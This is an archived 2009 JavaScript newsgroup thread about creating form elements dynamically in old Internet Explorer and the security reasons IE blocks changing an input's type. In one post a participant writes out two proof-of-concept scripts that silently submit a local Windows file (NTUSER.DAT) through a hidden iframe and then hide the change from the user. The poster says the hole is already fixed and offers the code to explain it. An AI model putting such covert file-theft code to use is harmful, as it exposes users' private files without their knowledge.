FYI: Dynamically created form elements in IE

Discussion in 'Javascript' started by VK, Oct 10, 2009.

  1. VK

    VK Guest

    In continuation of discussion at
    http://groups.google.ru/group/comp.lang.javascript/browse_frm/thread/ee8a1afd6b07d4bc
    in the particular http://groups.google.ru/group/comp.lang.javascript/msg/a6ad29140d7f8b3d
    http://groups.google.ru/group/comp.lang.javascript/msg/5de9dc0567b9e331

    First of all, *any* commercially usable library intended to support
    legacy IE6 environment creates form elements over a separate IE6-only
    branch (respectively with IE6 detection on startup) with IE-only
    createElement syntax. This way the issue has mainly theoretical impact
    unless someone is creating form-handling script from the scratch and
    needs to support IE6 as well.

    IE6 in its long history has a greate number of vulnerability attacks
    with a greate amount of them targeted to input-file element in order
    to gain local file access. Miscrosoft had to issue emergency security
    fixes, oftenly by deliberately breaking some existing functionality
    and by restoring it in upcoming fixes and cummulative updates. All
    this was connected with setting input element type using the
    conventional DOM methods. As since the last IE6 update and up to the
    current IE8 the only remnant remains: the lock on type assignment to
    button element. The exact explanation of the security risk is
    irrelevant as it is not a hacker forum. Just a hint that it is still
    connect with input-file.

    At the same time is one managed to create a form element in the
    conventional way, then further IE behavior is the same as for others.
    There are not "disappeared" text elements or so as claimed. If
    Microsoft once confirmed it, it just shows once again that MS tech
    guys are not gods but just people able to make mistakes. :)

    At http://jsnet.sourceforge.net/entities.html one can test it if still
    in doubts (of course IE6-8 is needed). This test first creates
    different form elements and logs each step. Then it stops and over
    setTimeout starts new test where all current form elements being
    listed. As the last step one can press Firefox image button to submit
    it to http://www.example.com over GET. This way the CGI data can be
    viewed in the address bar.
     
    VK, Oct 10, 2009
    #1
    1. Advertising

  2. VK

    VK Guest

    VK, Oct 10, 2009
    #2
    1. Advertising

  3. VK

    VK Guest

    VK, Oct 10, 2009
    #3
  4. VK wrote:

    > In continuation of discussion at
    >

    http://groups.google.ru/group/comp.lang.javascript/browse_frm/thread/ee8a1afd6b07d4bc
    > in the particular
    > http://groups.google.ru/group/comp.lang.javascript/msg/a6ad29140d7f8b3d
    > http://groups.google.ru/group/comp.lang.javascript/msg/5de9dc0567b9e331
    >
    > First of all, *any* commercially usable library intended to support
    > legacy IE6 environment creates form elements over a separate IE6-only
    > branch (respectively with IE6 detection on startup) with IE-only
    > createElement syntax. This way the issue has mainly theoretical impact
    > unless someone is creating form-handling script from the scratch and
    > needs to support IE6 as well.


    And all of them (though I seriously doubt the "any") are evidently wrong.
    No amount of whining of yours is going to change that. Take it like a man
    or leave.

    > IE6 in its long history has a greate number of vulnerability attacks
    > with a greate amount of them targeted to input-file element in order
    > to gain local file access. Miscrosoft had to issue emergency security
    > fixes, oftenly by deliberately breaking some existing functionality
    > and by restoring it in upcoming fixes and cummulative updates. All
    > this was connected with setting input element type using the
    > conventional DOM methods. As since the last IE6 update and up to the
    > current IE8 the only remnant remains: the lock on type assignment to
    > button element. The exact explanation of the security risk is
    > irrelevant as it is not a hacker forum.


    That depends on how you define a "hacker". I for one consider this to be a
    "hacker forum" (but I would never use that term) because I define "hacker"
    (without other attributes) as defined by <http://catb.org/~esr/faqs/hacker-
    howto.html>.

    Incidentally, that is also why I think the reasons for implementing this
    security measure are very relevant because we (at least I) want to promote
    understanding here instead of cultivating an air of security by obscurity.

    > Just a hint that it is still connect with input-file.


    Instead of giving dubious hints like this, a "FYI" posting that is worth the
    bytes it takes would include the (actually very simple) explanation: They
    want to prevent people from submitting arbitrary local files automatically
    on a Web site by reusing `input' elements.

    However, Microsoft in their "wisdom" has chosen the worst possible solution
    to address the problem: forbid assigning to the `type' property at all if
    the element has already been added to the document. Other vendors, like
    Mozilla.org, have powered-up their brains instead: they reset the `value'
    property to the empty string when `type' is assigned "file", and throw an
    exception when `value' is assigned to if `type' stores "file". (Lately they
    even yield only the filename when reading the `value' property when
    ..type=="file", while formerly they yielded [IIRC] the original, empty string
    value.)

    > [TLDR]



    PointedEars
    --
    Prototype.js was written by people who don't know javascript for people
    who don't know javascript. People who don't know javascript are not
    the best source of advice on designing systems that use javascript.
    -- Richard Cornford, cljs, <f806at$ail$1$>
     
    Thomas 'PointedEars' Lahn, Oct 10, 2009
    #4
  5. VK

    VK Guest

    > VK wrote:
    > > First of all, *any* commercially usable library intended to support
    > > legacy IE6 environment creates form elements over a separate IE6-only
    > > branch (respectively with IE6 detection on startup) with IE-only
    > > createElement syntax. This way the issue has mainly theoretical impact
    > > unless someone is creating form-handling script from the scratch and
    > > needs to support IE6 as well.

    >
    > Thomas 'PointedEars' Lahn wrote:
    > And all of them (though I seriously doubt the "any") are evidently wrong. 
    > No amount of whining of yours is going to change that.  Take it like a man
    > or leave.


    Eah, right... It reminds me that old story about a corporal and a
    platoon on the marsh. The corporal also was all upset that only him is
    keeping pace while the whole platoon ia making "Right!" to his
    "Left!" :)
    There are already two "victorious corporals" of the kind, ciwah (aka
    comp.infosystems.www.authoring.html) and ciwas (aka
    comp.infosystems.www.authoring.stylesheets). For years they were
    pushing unfit to eat hoaxes (one "DIV layouts", other "pure HTML" and
    XHTML, both "semantical Web"). Both had were intelligent and devoted
    people pushing it and helping each other. They won and everyone who
    did not agree is left. Complete victory! Now alt.html is the place to
    discuss both CSS and HTML, and ciwah and ciwas "winners" are trying to
    be helpful there because their own groups became rarely visited
    curiosity stores. And their situation is worser than the possible one
    for clj, because they don't have a Perl script what would be daily
    posting ancient FAQs, so they are missing even the opportunity to
    argue with a bot :). I'd really like not to see clj won in the same
    way. I'd like to see clj is the place to ask about anything javascript-
    related. I'd like to see M$ guys coming here as for the last resort to
    find some help, not "jobless" regulars sneaking a topic to answer at m
    $js (aka microsoft.public.scripting.jscript).

    > Incidentally, that is also why I think the reasons for implementing this
    > security measure are very relevant because we (at least I) want to promote
    > understanding here instead of cultivating an air of security by obscurity..


    To really explain a vulnerability it is needed to post a code or a
    block schema or at least a formal algorithm description of the
    vulnerability exploit. Such post would be not a way of better
    understanding of something, it would be an actual tool to hack some
    existing systems. Such posts should not be on a public forum, though I
    might be outdated on that.

    > > Just a hint that it is still connect with input-file.

    >
    > Instead of giving dubious hints like this, a "FYI" posting that is worth the
    > bytes it takes would include the (actually very simple) explanation: They
    > want to prevent people from submitting arbitrary local files automatically
    > on a Web site by reusing `input' elements.


    Such simplified explanation would make reader wonder why [input
    type="button"] or [input type="submit"] are OK and what is so
    particularly evil in [button type="button"] or [button type="submit"]
    that it's still locked in IE. But see my comment above.
     
    VK, Oct 10, 2009
    #5
  6. VK

    David Mark Guest

    On Oct 10, 4:49 pm, VK <> wrote:
    > > VK wrote:
    > > > First of all, *any* commercially usable library intended to support
    > > > legacy IE6 environment creates form elements over a separate IE6-only
    > > > branch (respectively with IE6 detection on startup) with IE-only
    > > > createElement syntax. This way the issue has mainly theoretical impact
    > > > unless someone is creating form-handling script from the scratch and
    > > > needs to support IE6 as well.

    >
    > > Thomas 'PointedEars' Lahn wrote:
    > > And all of them (though I seriously doubt the "any") are evidently wrong.  
    > > No amount of whining of yours is going to change that.  Take it like a man
    > > or leave.

    >
    > Eah, right... It reminds me that old story about a corporal and a
    > platoon on the marsh. The corporal also was all upset that only him is
    > keeping pace while the whole platoon ia making "Right!" to his
    > "Left!" :)
    > There are already two "victorious corporals" of the kind, ciwah (aka
    > comp.infosystems.www.authoring.html) and ciwas (aka
    > comp.infosystems.www.authoring.stylesheets). For years they were
    > pushing unfit to eat hoaxes (one "DIV layouts", other "pure HTML" and
    > XHTML, both "semantical Web").


    Notorious hoaxes, those. What's a DIV layout?

    > Both had were intelligent and devoted
    > people pushing it and helping each other. They won and everyone who
    > did not agree is left. Complete victory!


    Who won what?

    > Now alt.html is the place to
    > discuss both CSS and HTML, and ciwah and ciwas "winners" are trying to
    > be helpful there because their own groups became rarely visited
    > curiosity stores.


    Hadn't noticed.

    > And their situation is worser than the possible one
    > for clj, because they don't have a Perl script what would be daily
    > posting ancient FAQs, so they are missing even the opportunity to
    > argue with a bot :).


    Beats "arguing" with you. :)

    > I'd really like not to see clj won in the same
    > way.


    It's not a contest.

    > I'd like to see clj is the place to ask about anything javascript-
    > related. I'd like to see M$ guys coming here as for the last resort to
    > find some help, not "jobless" regulars sneaking a topic to answer at m
    > $js (aka microsoft.public.scripting.jscript).


    That group is closed. ;) And the "MS guys" do come here as a last
    resort.

    >
    > > Incidentally, that is also why I think the reasons for implementing this
    > > security measure are very relevant because we (at least I) want to promote
    > > understanding here instead of cultivating an air of security by obscurity.

    >
    > To really explain a vulnerability it is needed to post a code or a
    > block schema or at least a formal algorithm description of the
    > vulnerability exploit. Such post would be not a way of better
    > understanding of something, it would be an actual tool to hack some
    > existing systems. Such posts should not be on a public forum, though I
    > might be outdated on that.


    You certainly are outdated on a lot of things (PERL being the latest
    entry on that list). Is this an intimation that you have some sort of
    JS hacker tool that you don't want to post? Keep it. :)

    >
    > > > Just a hint that it is still connect with input-file.

    >
    > > Instead of giving dubious hints like this, a "FYI" posting that is worth the
    > > bytes it takes would include the (actually very simple) explanation: They
    > > want to prevent people from submitting arbitrary local files automatically
    > > on a Web site by reusing `input' elements.

    >
    > Such simplified explanation would make reader wonder why [input
    > type="button"] or [input type="submit"] are OK and what is so
    > particularly evil in [button type="button"] or [button type="submit"]
    > that it's still locked in IE. But see my comment above.


    Locked in IE?
     
    David Mark, Oct 10, 2009
    #6
  7. VK

    VK Guest

    > What's a DIV layout?

    Goggle is your friend, as usual:
    http://www.google.com/#q=div layout

    Though the post is for readers who were active participant of clj/
    ciwah/ciwas events of at least 5 last years, otherwise nearly each
    line might need a Google search or a clj/ciwah/ciwas archives search.
    If such necessity is presented then probably the reader can stay
    indifferent to the post. It is not to put anyone down, really, just a
    observation.

    > > Both had were intelligent and devoted
    > > people pushing it and helping each other. They won and everyone who
    > > did not agree is left. Complete victory!

    >
    > Who won what?


    see above

    > > Now alt.html is the place to
    > > discuss both CSS and HTML, and ciwah and ciwas "winners" are trying to
    > > be helpful there because their own groups became rarely visited
    > > curiosity stores.

    >
    > Hadn't noticed.


    see above, also see ciwah archives, alt.html stats, alt.html archives
    and history - but really see above.

    > > And their situation is worser than the possible one
    > > for clj, because they don't have a Perl script what would be daily
    > > posting ancient FAQs, so they are missing even the opportunity to
    > > argue with a bot :).

    >
    > Beats "arguing" with you.  :)


    Well, in such case I would suggest to add A.L.I.C.E. to the server and
    to teach her to say dirty things about say features' testing. That
    would keep some hell busy for years. :))


    > > I'd really like not to see clj won in the same
    > > way.

    >
    > It's not a contest.


    "won" (means "lost")

    > > I'd like to see clj is the place to ask about anything javascript-
    > > related. I'd like to see M$ guys coming here as for the last resort to
    > > find some help, not "jobless" regulars sneaking a topic to answer at m
    > > $js (aka microsoft.public.scripting.jscript).

    >
    > That group is closed.  ;)  And the "MS guys" do come here as a last
    > resort.


    Indeed? When did it happen?

    > > > Incidentally, that is also why I think the reasons for implementing this
    > > > security measure are very relevant because we (at least I) want to promote
    > > > understanding here instead of cultivating an air of security by obscurity.

    >
    > > To really explain a vulnerability it is needed to post a code or a
    > > block schema or at least a formal algorithm description of the
    > > vulnerability exploit. Such post would be not a way of better
    > > understanding of something, it would be an actual tool to hack some
    > > existing systems. Such posts should not be on a public forum, though I
    > > might be outdated on that.

    >
    > You certainly are outdated on a lot of things (PERL being the latest
    > entry on that list).  Is this an intimation that you have some sort of
    > JS hacker tool that you don't want to post?  Keep it.  :)


    About Perl - I am not fighting with young soldiers, unless no way
    out :). "They" (as "We" in the post you are referring to) know
    everything because all necessary books are learned. "We" (as whoever
    you may think of) are needed only when "they" get unto troubles with
    their books and then they run to uncle VK to some other uncle for
    help :) Of course "we", just like "they", are using String and -w.
    But unlike "them" we are removing all this as soon as the script fully
    tested and ready to be deployed. One day a perfectly working script
    with #!/usr/bin/perl -w will get silent from one HTTP server, then
    from another one and eventually "they" will get the same useful habits
    as "we" have.
    (as it gets Perl-only, I would prefer to stop this branch of arguing
    or to cross-post with answers coming to comp.lang.perl.misc)

    You misread the thread. I never claimed that I knew some non-fixed
    security exploit in IE over [button] element type manipulations. All I
    said is that such manipulations are locked since IE6 for some security
    reasons (and respectively the exploit is closed) and that they remain
    locked because a better solution without security impact is still not
    found by Microsoft.
     
    VK, Oct 10, 2009
    #7
  8. [fixed attribution]

    VK wrote:

    > Thomas 'PointedEars' Lahn wrote:
    >> VK wrote:
    >> > First of all, *any* commercially usable library intended to support
    >> > legacy IE6 environment creates form elements over a separate IE6-only
    >> > branch (respectively with IE6 detection on startup) with IE-only
    >> > createElement syntax. This way the issue has mainly theoretical impact
    >> > unless someone is creating form-handling script from the scratch and
    >> > needs to support IE6 as well.

    >>
    >> [...]
    >> And all of them (though I seriously doubt the "any") are evidently wrong.
    >> No amount of whining of yours is going to change that. Take it like a
    >> man or leave.

    >
    > [gibberish rambling about newsgroups]


    I seriously wish you would spare us that kind of completely clueless FUD at
    least. Future generations might desperately need the bandwidth thus wasted
    ;-)

    And learn to quote as you have already been told a hundred or so times
    before.

    >> Incidentally, that is also why I think the reasons for implementing this
    >> security measure are very relevant because we (at least I) want to
    >> promote understanding here instead of cultivating an air of security by
    >> obscurity.

    >
    > To really explain a vulnerability it is needed to post a code or a
    > block schema or at least a formal algorithm description of the
    > vulnerability exploit.


    Anyone reading my description thoroughly and thinking clearly (that state of
    mind which you have yet to achieve) can imagine how it goes; but since you
    insist, it goes along these lines (no harm done, since the vulnerability is
    fixed already everywhere and the exploit code probably has already been
    published):

    var iframe = document.createElement("iframe");
    iframe.style.display = "none";
    document.body.appendChild(iframe);
    window.frames["foo"].name = "foo";

    Variant A)

    var form = document.createElement("form");
    form.action = "crack";
    form.method = "POST";
    form.target = "foo";

    var input = document.createElement("input");

    /* never fails, despite VK's babbling */
    input.type = "file";

    /* fails if vulnerability is fixed */
    input.value = "C:\\Documents and Settings\\Default User\\NTUSER.DAT";

    form.appendChild(input);

    document.body.appendChild(form);
    form.submit();

    window.setTimeout("document.body.removeChild(form);", 10000);

    Variant B)

    var form = document.forms[0];

    /* see above */
    var action = form.action;
    var target = form.target;
    var method = form.method;
    form.action = "crack";
    form.method = "POST";
    form.target = "foo";

    var input = form.getElementsByTagName("input")[0];

    var value = input.value;

    try
    {
    input.value = "C:\\Documents and Settings\\Default User\\NTUSER.DAT";
    }
    catch (e)
    {}

    var type = input.type;

    /* fails if vulnerability is fixed the M$ way */
    input.type = "file";

    /* submits an empty string if vulnerability is fixed the Mozilla way */
    form.submit();

    /* switches back so exploit cannot be noticed in time */
    input.value = value;
    input.type = type;

    window.setTimeout(
    function() {
    form.action = action;
    form.target = target;
    form.method = method;
    },
    2500);

    And for both then:

    document.body.removeChild(iframe);

    > Such post would be not a way of better understanding of something, it
    > would be an actual tool to hack some existing systems. Such posts should
    > not be on a public forum,


    Nonsense.

    > though I might be outdated on that.


    You don't say.

    >> > Just a hint that it is still connect with input-file.

    >>
    >> Instead of giving dubious hints like this, a "FYI" posting that is worth
    >> the bytes it takes would include the (actually very simple) explanation:
    >> They want to prevent people from submitting arbitrary local files
    >> automatically on a Web site by reusing `input' elements.

    >
    > Such simplified explanation would make reader wonder why [input
    > type="button"] or [input type="submit"] are OK and what is so
    > particularly evil in [button type="button"] or [button type="submit"]
    > that it's still locked in IE. But see my comment above.


    The rather obvious problem here is that M$ did not consider the side effects
    of their design decision to prevent assignments to the `type' property of
    added objects per se. The Mozilla people and others were smarter
    (eventually; Bugzilla probably tells more), because it is now possible there
    to transform an input of any type into another type (for example, one can
    transform a radio button into a checkbox and vice-versa) without allowing
    the vulnerability, as the `value' property is reset for the only relevant
    case of `type === "file"'.


    PointedEars
    --
    Danny Goodman's books are out of date and teach practices that are
    positively harmful for cross-browser scripting.
    -- Richard Cornford, cljs, <cife6q$253$1$> (2004)
     
    Thomas 'PointedEars' Lahn, Oct 11, 2009
    #8
  9. VK

    VK Guest

    Stefan Weiss wrote:
    > you should _not_
    > disable strict mode in production code, and disabling the warnings is
    > unwise, unless you're not interested in receiving information about
    > runtime errors, or you know _exactly_ what you're doing


    .... or more commonly if you are making a script for yourself to deploy
    on a known/controlled server. Otherwise see "Perl Cookbook" by Tom
    Christiansen, Nathan Torkington, recipe 19.2
    I have the 1st edition of 2000, but 2nd has the same format I believe:
    http://books.google.com/books?id=IzdJIax6J5oC
    (I wish I knew that recipe that far day from now)

    > Yes, please, let's stop it.


    OK
     
    VK, Oct 11, 2009
    #9
    1. Advertising

Want to reply to this thread or ask your own question?

It takes just 2 minutes to sign up (and it's free!). Just click the sign up button to choose a username and then you can ask your own questions on the forum.
Similar Threads
  1. Ittay Dror
    Replies:
    0
    Views:
    367
    Ittay Dror
    Apr 19, 2004
  2. msimmons
    Replies:
    0
    Views:
    507
    msimmons
    Jul 16, 2009
  3. Will
    Replies:
    1
    Views:
    110
    lallous
    Jan 23, 2004
  4. Nicholas Couch

    IE6 won't hide dynamically created span elements

    Nicholas Couch, Sep 17, 2004, in forum: Javascript
    Replies:
    20
    Views:
    229
    Thomas 'PointedEars' Lahn
    Sep 26, 2004
  5. Robert Oschler
    Replies:
    1
    Views:
    128
    Robert Oschler
    Sep 3, 2005
Loading...

Share This Page